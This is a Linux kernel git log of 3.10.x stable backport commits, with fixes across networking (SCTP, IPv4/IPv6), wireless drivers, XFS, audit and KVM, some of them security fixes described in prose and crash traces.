Ricardo Ribalda Delgado Signed-off-by: Bjorn Helgaas Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e305077b8b9b4e0bf8cfc5d410cba9251c7ab345 Author: Seth Forshee Date: Fri Feb 20 11:45:11 2015 -0600 HID: i2c-hid: Limit reads to wMaxInputLength bytes for input events commit 6d00f37e49d95e640a3937a4a1ae07dbe92a10cb upstream. d1c7e29e8d27 (HID: i2c-hid: prevent buffer overflow in early IRQ) changed hid_get_input() to read ihid->bufsize bytes, which can be more than wMaxInputLength. This is the case with the Dell XPS 13 9343, and it is causing events to be missed. In some cases the missed events are releases, which can cause the cursor to jump or freeze, among other problems. Limit the number of bytes read to min(wMaxInputLength, ihid->bufsize) to prevent such problems. Fixes: d1c7e29e8d27 "HID: i2c-hid: prevent buffer overflow in early IRQ" Signed-off-by: Seth Forshee Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cfaff6c85a92f4fd36786786c80ecc900042f63 Author: Luciano Coelho Date: Thu Jan 29 12:48:20 2015 +0200 iwlwifi: mvm: always use mac color zero commit 5523d11cc46393a1e61b7ef4a0b2d4e7ed9521e4 upstream. We don't really need to use different mac colors when adding mac contexts, because they're not used anywhere. In fact, the firmware doesn't accept 255 as a valid color, so we get into a SYSASSERT 0x3401 when we reach that. Remove the color increment to use always zero and avoid reaching 255. Signed-off-by: Luciano Coelho Reviewed-by: Johannes Berg Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9973efaf1121d1288803688810c8c4fe023f1851 Author: Luciano Coelho Date: Tue Jan 27 15:06:57 2015 +0200 iwlwifi: mvm: fix failure path when power_update fails in add_interface commit fd66fc1cafd72ddf27dbec3a5e29e99839d1bc84 upstream. When iwl_mvm_power_update_mac() is called, we have already added the mac context, so if this call fails we should remove the mac. Fixes: commit e5e7aa8e2561 ('iwlwifi: mvm: refactor power code') Signed-off-by: Luciano Coelho Reviewed-by: Johannes Berg Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd2de3c3dc102fb794a61f314b78d1ec447377c7 Author: Eyal Shapira Date: Fri Jan 16 11:09:30 2015 +0200 iwlwifi: mvm: validate tid and sta_id in ba_notif commit 2cee4762c528a9bd2cdff793197bf591a2196c11 upstream. These are coming from the FW and are used to access arrays. Bad values can cause an out of bounds access so discard such ba_notifs and warn. Signed-off-by: Eyal Shapira Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c47d4a823113495e39d58fa909f4005c7dd30aef Author: Emmanuel Grumbach Date: Thu Jan 29 21:34:00 2015 +0200 iwlwifi: pcie: disable the SCD_BASE_ADDR when we resume from WoWLAN commit cd8f438405032ac8ff88bd8f2eca5e0c0063b14b upstream. The base address of the scheduler in the device's memory (SRAM) comes from two different sources. The periphery register and the alive notification from the firmware. We have a check in iwl_pcie_tx_start that ensures that they are the same. When we resume from WoWLAN, the firmware may have crashed for whatever reason. In that case, the whole device may be reset which means that the periphery register will hold a meaningless value. When we come to compare trans_pcie->scd_base_addr (which really holds the value we had when we loaded the WoWLAN firmware upon suspend) and the current value of the register, we don't see a match unsurprisingly. Trick the check to avoid a loud yet harmless WARN. Note that when the WoWLAN has crashed, we will see that in iwl_trans_pcie_d3_resume which will let the op_mode know. Once the op_mode is informed that the WowLAN firmware has crashed, it can't do much besides resetting the whole device. Reviewed-by: Johannes Berg Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ec99fab94239f7d13eefa19b7f242c6ebff77e4 Author: Jan Kara Date: Tue Feb 10 14:08:32 2015 -0800 fsnotify: fix handling of renames in audit commit 6ee8e25fc3e916193bce4ebb43d5439e1e2144ab upstream. Commit e9fd702a58c4 ("audit: convert audit watches to use fsnotify instead of inotify") broke handling of renames in audit. Audit code wants to update inode number of an inode corresponding to watched name in a directory. When something gets renamed into a directory to a watched name, inotify previously passed moved inode to audit code however new fsnotify code passes directory inode where the change happened. That confuses audit and it starts watching parent directory instead of a file in a directory. This can be observed for example by doing: cd /tmp touch foo bar auditctl -w /tmp/foo touch foo mv bar foo touch foo In audit log we see events like: type=CONFIG_CHANGE msg=audit(1423563584.155:90): auid=1000 ses=2 op="updated rules" path="/tmp/foo" key=(null) list=4 res=1 ... type=PATH msg=audit(1423563584.155:91): item=2 name="bar" inode=1046884 dev=08:0 2 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=DELETE type=PATH msg=audit(1423563584.155:91): item=3 name="foo" inode=1046842 dev=08:0 2 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=DELETE type=PATH msg=audit(1423563584.155:91): item=4 name="foo" inode=1046884 dev=08:0 2 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE ... and that's it - we see event for the first touch after creating the audit rule, we see events for rename but we don't see any event for the last touch. However we start seeing events for unrelated stuff happening in /tmp. Fix the problem by passing moved inode as data in the FS_MOVED_FROM and FS_MOVED_TO events instead of the directory where the change happens. This doesn't introduce any new problems because noone besides audit_watch.c cares about the passed value: fs/notify/fanotify/fanotify.c cares only about FSNOTIFY_EVENT_PATH events. fs/notify/dnotify/dnotify.c doesn't care about passed 'data' value at all. fs/notify/inotify/inotify_fsnotify.c uses 'data' only for FSNOTIFY_EVENT_PATH. kernel/audit_tree.c doesn't care about passed 'data' at all. kernel/audit_watch.c expects moved inode as 'data'. Fixes: e9fd702a58c49db ("audit: convert audit watches to use fsnotify instead of inotify") Signed-off-by: Jan Kara Cc: Paul Moore Cc: Eric Paris Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 218f2c9b89c0bbac8eda9a49631f80d99480b2d0 Author: Dave Chinner Date: Thu Jan 22 09:30:23 2015 +1100 xfs: set superblock buffer type correctly commit 3443a3bca54588f43286b725d8648d33a38c86f1 upstream. When the superblock is modified in a transaction, the commonly modified fields are not actually copied to the superblock buffer to avoid the buffer lock becoming a serialisation point. However, there are some other operations that modify the superblock fields within the transaction that don't directly log to the superblock but rely on the changes to be applied during the transaction commit (to minimise the buffer lock hold time). When we do this, we fail to mark the buffer log item as being a superblock buffer and that can lead to the buffer not being marked with the corect type in the log and hence causing recovery issues. Fix it by setting the type correctly, similar to xfs_mod_sb()... Tested-by: Jan Kara Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52835de8580914dff3970e1538807f67e9983341 Author: Dave Chinner Date: Thu Jan 22 09:29:40 2015 +1100 xfs: inode unlink does not set AGI buffer type commit f19b872b086711bb4b22c3a0f52f16aa920bcc61 upstream. This leads to log recovery throwing errors like: XFS (md0): Mounting V5 Filesystem XFS (md0): Starting recovery (logdev: internal) XFS (md0): Unknown buffer type 0! XFS (md0): _xfs_buf_ioapply: no ops on block 0xaea8802/0x1 ffff8800ffc53800: 58 41 47 49 ..... Which is the AGI buffer magic number. Ensure that we set the type appropriately in both unlink list addition and removal. Tested-by: Jan Kara Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a99788d0616fd396276519feeb268a3e552302b Author: Dave Chinner Date: Thu Jan 22 09:29:05 2015 +1100 xfs: ensure buffer types are set correctly commit 0d612fb570b71ea2e49554a770cff4c489018b2c upstream. Jan Kara reported that log recovery was finding buffers with invalid types in them. This should not happen, and indicates a bug in the logging of buffers. To catch this, add asserts to the buffer formatting code to ensure that the buffer type is in range when the transaction is committed. We don't set a type on buffers being marked stale - they are not going to get replayed, the format item exists only for recovery to be able to prevent replay of the buffer, so the type does not matter. Hence that needs special casing here. Reported-by: Jan Kara Tested-by: Jan Kara Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08afa0e86d3ad7971da62c3438cef83f54fc10fc Author: Adam Lee Date: Wed Jan 28 15:30:27 2015 -0500 Bluetooth: ath3k: workaround the compatibility issue with xHCI controller commit c561a5753dd631920c4459a067d22679b3d110d6 upstream. BugLink: https://bugs.launchpad.net/bugs/1400215 ath3k devices fail to load firmwares on xHCI buses, but work well on EHCI, this might be a compatibility issue between xHCI and ath3k chips. As my testing result, those chips will work on xHCI buses again with this patch. This workaround is from Qualcomm, they also did some workarounds in Windows driver. Signed-off-by: Adam Lee Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 069a06a45b02e6561a7fc2897f75a832fa006ae6 Author: Greg Kroah-Hartman Date: Thu Feb 26 17:49:14 2015 -0800 Linux 3.10.70 Signed-off-by: Pranav Vashi commit ba93de355d16f702778fc007c166a2ca5569182a Author: Alex Elder Date: Tue Mar 25 15:36:02 2014 +0200 rbd: drop an unsafe assertion commit 638c323c4d1f8eaf25224946e21ce8818f1bcee1 upstream. Olivier Bonvalet reported having repeated crashes due to a failed assertion he was hitting in rbd_img_obj_callback(): Assertion failure in rbd_img_obj_callback() at line 2165: rbd_assert(which >= img_request->next_completion); With a lot of help from Olivier with reproducing the problem we were able to determine the object and image requests had already been completed (and often freed) at the point the assertion failed. There was a great deal of discussion on the ceph-devel mailing list about this. The problem only arose when there were two (or more) object requests in an image request, and the problem was always seen when the second request was being completed. The problem is due to a race in the window between setting the "done" flag on an object request and checking the image request's next completion value. When the first object request completes, it checks to see if its successor request is marked "done", and if so, that request is also completed. In the process, the image request's next_completion value is updated to reflect that both the first and second requests are completed. By the time the second request is able to check the next_completion value, it has been set to a value *greater* than its own "which" value, which caused an assertion to fail. Fix this problem by skipping over any completion processing unless the completing object request is the next one expected. Test only for inequality (not >=), and eliminate the bad assertion. Tested-by: Olivier Bonvalet Signed-off-by: Alex Elder Reviewed-by: Sage Weil Reviewed-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42716c58a5c51243dd6dc989a4bbc1ddb3fb289e Author: Austin Lund Date: Thu Jul 24 07:40:20 2014 -0300 media/rc: Send sync space information on the lirc device commit a8f29e89f2b54fbf2c52be341f149bc195b63a8b upstream. Userspace expects to see a long space before the first pulse is sent on the lirc device. Currently, if a long time has passed and a new packet is started, the lirc codec just returns and doesn't send anything. This makes lircd ignore many perfectly valid signals unless they are sent in quick sucession. When a reset event is delivered, we cannot know anything about the duration of the space. But it should be safe to assume it has been a long time and we just set the duration to maximum. Signed-off-by: Austin Lund Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e8840c5f586ff28d786a2145f4c69b8fe838fad Author: Saran Maruti Ramanara Date: Thu Jan 29 11:05:58 2015 +0100 net: sctp: fix passing wrong parameter header to param_type2af in sctp_process_param [ Upstream commit cfbf654efc6d78dc9812e030673b86f235bf677d ] When making use of RFC5061, section 4.2.4. for setting the primary IP address, we're passing a wrong parameter header to param_type2af(), resulting always in NULL being returned. At this point, param.p points to a sctp_addip_param struct, containing a sctp_paramhdr (type = 0xc004, length = var), and crr_id as a correlation id. Followed by that, as also presented in RFC5061 section 4.2.4., comes the actual sctp_addr_param, which also contains a sctp_paramhdr, but this time with the correct type SCTP_PARAM_IPV{4,6}_ADDRESS that param_type2af() can make use of. Since we already hold a pointer to addr_param from previous line, just reuse it for param_type2af(). Fixes: d6de3097592b ("[SCTP]: Add the handling of "Set Primary IP Address" parameter to INIT") Signed-off-by: Saran Maruti Ramanara Signed-off-by: Daniel Borkmann Acked-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcbb683c0c0a71b39412769722db708514f7cd97 Author: Florian Westphal Date: Wed Jan 28 10:56:04 2015 +0100 ppp: deflate: never return len larger than output buffer [ Upstream commit e2a4800e75780ccf4e6c2487f82b688ba736eb18 ] When we've run out of space in the output buffer to store more data, we will call zlib_deflate with a NULL output buffer until we've consumed remaining input. When this happens, olen contains the size the output buffer would have consumed iff we'd have had enough room. This can later cause skb_over_panic when ppp_generic skb_put()s the returned length. Reported-by: Iain Douglas Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 64877079d0424a0fd78dd48be4c2217027c088ed Author: Eric Dumazet Date: Thu Jan 29 21:35:05 2015 -0800 ipv4: tcp: get rid of ugly unicast_sock [ Upstream commit bdbbb8527b6f6a358dbcb70dac247034d665b8e4 ] In commit be9f4a44e7d41 ("ipv4: tcp: remove per net tcp_sock") I tried to address contention on a socket lock, but the solution I chose was horrible : commit 3a7c384ffd57e ("ipv4: tcp: unicast_sock should not land outside of TCP stack") addressed a selinux regression. commit 0980e56e506b ("ipv4: tcp: set unicast_sock uc_ttl to -1") took care of another regression. commit b5ec8eeac46 ("ipv4: fix ip_send_skb()") fixed another regression. commit 811230cd85 ("tcp: ipv4: initialize unicast_sock sk_pacing_rate") was another shot in the dark. Really, just use a proper socket per cpu, and remove the skb_orphan() call, to re-enable flow control. This solves a serious problem with FQ packet scheduler when used in hostile environments, as we do not want to allocate a flow structure for every RST packet sent in response to a spoofed packet. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ccb73815963ee7c949734298ab11f89597512c91 Author: Eric Dumazet Date: Wed Jan 28 05:47:11 2015 -0800 tcp: ipv4: initialize unicast_sock sk_pacing_rate [ Upstream commit 811230cd853d62f09ed0addd0ce9a1b9b0e13fb5 ] When I added sk_pacing_rate field, I forgot to initialize its value in the per cpu unicast_sock used in ip_send_unicast_reply() This means that for sch_fq users, RST packets, or ACK packets sent on behalf of TIME_WAIT sockets might be sent to slowly or even dropped once we reach the per flow limit. Signed-off-by: Eric Dumazet Fixes: 95bd09eb2750 ("tcp: TSO packets automatic sizing") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83f026115af210bb1aea195d7023d738bf24d47d Author: Roopa Prabhu Date: Wed Jan 28 16:23:11 2015 -0800 bridge: dont send notification when skb->len == 0 in rtnl_bridge_notify [ Upstream commit 59ccaaaa49b5b096cdc1f16706a9f931416b2332 ] Reported in: https://bugzilla.kernel.org/show_bug.cgi?id=92081 This patch avoids calling rtnl_notify if the device ndo_bridge_getlink handler does not return any bytes in the skb. Alternately, the skb->len check can be moved inside rtnl_notify. For the bridge vlan case described in 92081, there is also a fix needed in bridge driver to generate a proper notification. Will fix that in subsequent patch. v2: rebase patch on net tree Signed-off-by: Roopa Prabhu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d03830213a3a759f1c979faae34f26748653c379 Author: Hannes Frederic Sowa Date: Mon Jan 26 15:11:17 2015 +0100 ipv6: replacing a rt6_info needs to purge possible propagated rt6_infos too [ Upstream commit 6e9e16e6143b725662e47026a1d0f270721cdd24 ] Lubomir Rintel reported that during replacing a route the interface reference counter isn't correctly decremented. To quote bug : | [root@rhel7-5 lkundrak]# sh -x lal | + ip link add dev0 type dummy | + ip link set dev0 up | + ip link add dev1 type dummy | + ip link set dev1 up | + ip addr add 2001:db8:8086::2/64 dev dev0 | + ip route add 2001:db8:8086::/48 dev dev0 proto static metric 20 | + ip route add 2001:db8:8088::/48 dev dev1 proto static metric 10 | + ip route replace 2001:db8:8086::/48 dev dev1 proto static metric 20 | + ip link del dev0 type dummy | Message from syslogd@rhel7-5 at Jan 23 10:54:41 ... | kernel:unregister_netdevice: waiting for dev0 to become free. Usage count = 2 | | Message from syslogd@rhel7-5 at Jan 23 10:54:51 ... | kernel:unregister_netdevice: waiting for dev0 to become free. Usage count = 2 During replacement of a rt6_info we must walk all parent nodes and check if the to be replaced rt6_info got propagated. If so, replace it with an alive one. Fixes: 4a287eba2de3957 ("IPv6 routing, NLM_F_* flag support: REPLACE and EXCL flags support, warn about missing CREATE flag") Reported-by: Lubomir Rintel Signed-off-by: Hannes Frederic Sowa Tested-by: Lubomir Rintel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a680286a39063f49ce2a0e63a43aace4d0ce1f5 Author: subashab@codeaurora.org Date: Fri Jan 23 22:26:02 2015 +0000 ping: Fix race in free in receive path [ Upstream commit fc752f1f43c1c038a2c6ae58cc739ebb5953ccb0 ] An exception is seen in ICMP ping receive path where the skb destructor sock_rfree() tries to access a freed socket. This happens because ping_rcv() releases socket reference with sock_put() and this internally frees up the socket. Later icmp_rcv() will try to free the skb and as part of this, skb destructor is called and which leads to a kernel panic as the socket is freed already in ping_rcv(). -->|exception -007|sk_mem_uncharge -007|sock_rfree -008|skb_release_head_state -009|skb_release_all -009|__kfree_skb -010|kfree_skb -011|icmp_rcv -012|ip_local_deliver_finish Fix this incorrect free by cloning this skb and processing this cloned skb instead. This patch was suggested by Eric Dumazet Signed-off-by: Subash Abhinov Kasiviswanathan Cc: Eric Dumazet Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85262f7bc0cfcd07e56ea90371a7fad841616b54 Author: Herbert Xu Date: Sat Jan 24 08:02:40 2015 +1100 udp_diag: Fix socket skipping within chain [ Upstream commit 86f3cddbc3037882414c7308973530167906b7e9 ] While working on rhashtable walking I noticed that the UDP diag dumping code is buggy. In particular, the socket skipping within a chain never happens, even though we record the number of sockets that should be skipped. As this code was supposedly copied from TCP, this patch does what TCP does and resets num before we walk a chain. Signed-off-by: Herbert Xu Acked-by: Pavel Emelyanov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9be2b5ca2eed44aee073c76ddf48895001d8391 Author: Hannes Frederic Sowa Date: Fri Jan 23 12:01:26 2015 +0100 ipv4: try to cache dst_entries which would cause a redirect [ Upstream commit df4d92549f23e1c037e83323aff58a21b3de7fe0 ] Not caching dst_entries which cause redirects could be exploited by hosts on the same subnet, causing a severe DoS attack. This effect aggravated since commit f88649721268999 ("ipv4: fix dst race in sk_dst_get()"). Lookups causing redirects will be allocated with DST_NOCACHE set which will force dst_release to free them via RCU. Unfortunately waiting for RCU grace period just takes too long, we can end up with >1M dst_entries waiting to be released and the system will run OOM. rcuos threads cannot catch up under high softirq load. Attaching the flag to emit a redirect later on to the specific skb allows us to cache those dst_entries thus reducing the pressure on allocation and deallocation. This issue was discovered by Marcelo Leitner. Cc: Julian Anastasov Signed-off-by: Marcelo Leitner Signed-off-by: Florian Westphal Signed-off-by: Hannes Frederic Sowa Signed-off-by: Julian Anastasov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7e40b7b89f3370b8c93bfa9d17d0c2a4bf49710 Author: Daniel Borkmann Date: Thu Jan 22 18:26:54 2015 +0100 net: sctp: fix slab corruption from use after free on INIT collisions [ Upstream commit 600ddd6825543962fb807884169e57b580dba208 ] When hitting an INIT collision case during the 4WHS with AUTH enabled, as already described in detail in commit 1be9a950c646 ("net: sctp: inherit auth_capable on INIT collisions"), it can happen that we occasionally still remotely trigger the following panic on server side which seems to have been uncovered after the fix from commit 1be9a950c646 ... [ 533.876389] BUG: unable to handle kernel paging request at 00000000ffffffff [ 533.913657] IP: [] __kmalloc+0x95/0x230 [ 533.940559] PGD 5030f2067 PUD 0 [ 533.957104] Oops: 0000 [#1] SMP [ 533.974283] Modules linked in: sctp mlx4_en [...] [ 534.939704] Call Trace: [ 534.951833] [] ? crypto_init_shash_ops+0x60/0xf0 [ 534.984213] [] crypto_init_shash_ops+0x60/0xf0 [ 535.015025] [] __crypto_alloc_tfm+0x6d/0x170 [ 535.045661] [] crypto_alloc_base+0x4c/0xb0 [ 535.074593] [] ? _raw_spin_lock_bh+0x12/0x50 [ 535.105239] [] sctp_inet_listen+0x161/0x1e0 [sctp] [ 535.138606] [] SyS_listen+0x9d/0xb0 [ 535.166848] [] system_call_fastpath+0x16/0x1b ... or depending on the the application, for example this one: [ 1370.026490] BUG: unable to handle kernel paging request at 00000000ffffffff [ 1370.026506] IP: [] kmem_cache_alloc+0x75/0x1d0 [ 1370.054568] PGD 633c94067 PUD 0 [ 1370.070446] Oops: 0000 [#1] SMP [ 1370.085010] Modules linked in: sctp kvm_amd kvm [...] [ 1370.963431] Call Trace: [ 1370.974632] [] ? SyS_epoll_ctl+0x53f/0x960 [ 1371.000863] [] SyS_epoll_ctl+0x53f/0x960 [ 1371.027154] [] ? anon_inode_getfile+0xd3/0x170 [ 1371.054679] [] ? __alloc_fd+0xa7/0x130 [ 1371.080183] [] system_call_fastpath+0x16/0x1b With slab debugging enabled, we can see that the poison has been overwritten: [ 669.826368] BUG kmalloc-128 (Tainted: G W ): Poison overwritten [ 669.826385] INFO: 0xffff880228b32e50-0xffff880228b32e50. First byte 0x6a instead of 0x6b [ 669.826414] INFO: Allocated in sctp_auth_create_key+0x23/0x50 [sctp] age=3 cpu=0 pid=18494 [ 669.826424] __slab_alloc+0x4bf/0x566 [ 669.826433] __kmalloc+0x280/0x310 [ 669.826453] sctp_auth_create_key+0x23/0x50 [sctp] [ 669.826471] sctp_auth_asoc_create_secret+0xcb/0x1e0 [sctp] [ 669.826488] sctp_auth_asoc_init_active_key+0x68/0xa0 [sctp] [ 669.826505] sctp_do_sm+0x29d/0x17c0 [sctp] [...] [ 669.826629] INFO: Freed in kzfree+0x31/0x40 age=1 cpu=0 pid=18494 [ 669.826635] __slab_free+0x39/0x2a8 [ 669.826643] kfree+0x1d6/0x230 [ 669.826650] kzfree+0x31/0x40 [ 669.826666] sctp_auth_key_put+0x19/0x20 [sctp] [ 669.826681] sctp_assoc_update+0x1ee/0x2d0 [sctp] [ 669.826695] sctp_do_sm+0x674/0x17c0 [sctp] Since this only triggers in some collision-cases with AUTH, the problem at heart is that sctp_auth_key_put() on asoc->asoc_shared_key is called twice when having refcnt 1, once directly in sctp_assoc_update() and yet again from within sctp_auth_asoc_init_active_key() via sctp_assoc_update() on the already kzfree'd memory, which is also consistent with the observation of the poison decrease from 0x6b to 0x6a (note: the overwrite is detected at a later point in time when poison is checked on new allocation). Reference counting of auth keys revisited: Shared keys for AUTH chunks are being stored in endpoints and associations in endpoint_shared_keys list. On endpoint creation, a null key is being added; on association creation, all endpoint shared keys are being cached and thus cloned over to the association. struct sctp_shared_key only holds a pointer to the actual key bytes, that is, struct sctp_auth_bytes which keeps track of users internally through refcounting. Naturally, on assoc or enpoint destruction, sctp_shared_key are being destroyed directly and the reference on sctp_auth_bytes dropped. User space can add keys to either list via setsockopt(2) through struct sctp_authkey and by passing that to sctp_auth_set_key() which replaces or adds a new auth key. There, sctp_auth_create_key() creates a new sctp_auth_bytes with refcount 1 and in case of replacement drops the reference on the old sctp_auth_bytes. A key can be set active from user space through setsockopt() on the id via sctp_auth_set_active_key(), which iterates through either endpoint_shared_keys and in case of an assoc, invokes (one of various places) sctp_auth_asoc_init_active_key(). sctp_auth_asoc_init_active_key() computes the actual secret from local's and peer's random, hmac and shared key parameters and returns a new key directly as sctp_auth_bytes, that is asoc->asoc_shared_key, plus drops the reference if there was a previous one. The secret, which where we eventually double drop the ref comes from sctp_auth_asoc_set_secret() with intitial refcount of 1, which also stays unchanged eventually in sctp_assoc_update(). This key is later being used for crypto layer to set the key for the hash in crypto_hash_setkey() from sctp_auth_calculate_hmac(). To close the loop: asoc->asoc_shared_key is freshly allocated secret material and independant of the sctp_shared_key management keeping track of only shared keys in endpoints and assocs. Hence, also commit 4184b2a79a76 ("net: sctp: fix memory leak in auth key management") is independant of this bug here since it concerns a different layer (though same structures being used eventually). asoc->asoc_shared_key is reference dropped correctly on assoc destruction in sctp_association_free() and when active keys are being replaced in sctp_auth_asoc_init_active_key(), it always has a refcount of 1. Hence, it's freed prematurely in sctp_assoc_update(). Simple fix is to remove that sctp_auth_key_put() from there which fixes these panics. Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") Signed-off-by: Daniel Borkmann Acked-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c9674bc102b3bb1500c4d540b053c5ddf1837dd Author: Eric Dumazet Date: Thu Jan 22 07:56:18 2015 -0800 netxen: fix netxen_nic_poll() logic [ Upstream commit 6088beef3f7517717bd21d90b379714dd0837079 ] NAPI poll logic now enforces that a poller returns exactly the budget when it wants to be called again. If a driver limits TX completion, it has to return budget as well when the limit is hit, not the number of received packets. Reported-and-tested-by: Mike Galbraith Signed-off-by: Eric Dumazet Fixes: d75b1ade567f ("net: less interrupt masking in NAPI") Cc: Manish Chopra Acked-by: Manish Chopra Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf2bb009e43ef21d622f99151316142c1a97b596 Author: Hagen Paul Pfeifer Date: Thu Jan 15 22:34:25 2015 +0100 ipv6: stop sending PTB packets for MTU < 1280 [ Upstream commit 9d289715eb5c252ae15bd547cb252ca547a3c4f2 ] Reduce the attack vector and stop generating IPv6 Fragment Header for paths with an MTU smaller than the minimum required IPv6 MTU size (1280 byte) - called atomic fragments. See IETF I-D "Deprecating the Generation of IPv6 Atomic Fragments" [1] for more information and how this "feature" can be misused. [1] https://tools.ietf.org/html/draft-ietf-6man-deprecate-atomfrag-generation-00 Signed-off-by: Fernando Gont Signed-off-by: Hagen Paul Pfeifer Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c94dc1a120d7feba506eef7f034d0cc6a1a1e797 Author: Willem de Bruijn Date: Thu Jan 15 13:18:40 2015 -0500 ip: zero sockaddr returned on error queue [ Upstream commit f812116b174e59a350acc8e4856213a166a91222 ] The sockaddr is returned in IP(V6)_RECVERR as part of errhdr. That structure is defined and allocated on the stack as struct { struct sock_extended_err ee; struct sockaddr_in(6) offender; } errhdr; The second part is only initialized for certain SO_EE_ORIGIN values. Always initialize it completely. An MTU exceeded error on a SOCK_RAW/IPPROTO_RAW is one example that would return uninitialized bytes. Signed-off-by: Willem de Bruijn ---- Also verified that there is no padding between errhdr.ee and errhdr.offender that could leak additional kernel data. Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca2181d13f40af0b81fb99fac9108a77615ddff8 Author: Pranav Vashi Date: Fri Nov 18 20:55:50 2016 +0530 arm64: Add back processor info to /proc/cpuinfo Signed-off-by: Pranav Vashi commit 29a3b33e40b7a02ebce36ebb5c60b4aa7c0471d5 Author: Greg Kroah-Hartman Date: Wed Feb 11 14:48:30 2015 +0800 Linux 3.10.69 Signed-off-by: Pranav Vashi commit 8005402f59d0cd65c36385a5876ef40f24176c39 Author: Mathias Krause Date: Tue Feb 10 01:14:07 2015 +0100 crypto: crc32c - add missing crypto module alias The backport of commit 5d26a105b5a7 ("crypto: prefix module autoloading with "crypto-"") lost the MODULE_ALIAS_CRYPTO() annotation of crc32c.c. Add it to fix the reported filesystem related regressions. Signed-off-by: Mathias Krause Reported-by: Philip Müller Cc: Kees Cook Cc: Rob McCathie Cc: Luis Henriques Cc: Kamal Mostafa Cc: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32ee30e991a690fbedc2fc3b6e47f9e84d78948a Author: Andy Lutomirski Date: Wed Oct 8 09:02:13 2014 -0700 x86,kvm,vmx: Preserve CR4 across VM entry commit d974baa398f34393db76be45f7d4d04fbdbb4a0a upstream. CR4 isn't constant; at least the TSD and PCE bits can vary. TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks like it's correct. This adds a branch and a read from cr4 to each vm entry. Because it is extremely likely that consecutive entries into the same vcpu will have the same host cr4 value, this fixes up the vmcs instead of restoring cr4 after the fact. A subsequent patch will add a kernel-wide cr4 shadow, reducing the overhead in the common case to just two memory reads and a branch. Signed-off-by: Andy Lutomirski Acked-by: Paolo Bonzini Cc: Petr Matousek Cc: Gleb Natapov Signed-off-by: Linus Torvalds [wangkai: Backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fee1fba1570d51655c8675ad2291ba5813366500 Author: Petr Matousek Date: Tue Sep 23 20:22:30 2014 +0200 kvm: vmx: handle invvpid vm exit gracefully commit a642fc305053cc1c6e47e4f4df327895747ab485 upstream. On systems with invvpid instruction support (corresponding bit in IA32_VMX_EPT_VPID_CAP MSR is set) guest invocation of invvpid causes vm exit, which is currently not handled and results in propagation of unknown exit to userspace. Fix this by installing an invvpid vm exit handler. This is CVE-2014-3646. Cc: stable@vger.kernel.org Signed-off-by: Petr Matousek Signed-off-by: Paolo Bonzini [wangkai: Backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9abab8946611e9b11df8fced7a9090afb6cac242 Author: Lai Jiangshan Date: Thu Jul 31 11:30:17 2014 +0800 smpboot: Add missing get_online_cpus() in smpboot_register_percpu_thread() commit 4bee96860a65c3a62d332edac331b3cf936ba3ad upstream. The following race exists in the smpboot percpu threads management: CPU0 CPU1 cpu_up(2) get_online_cpus(); 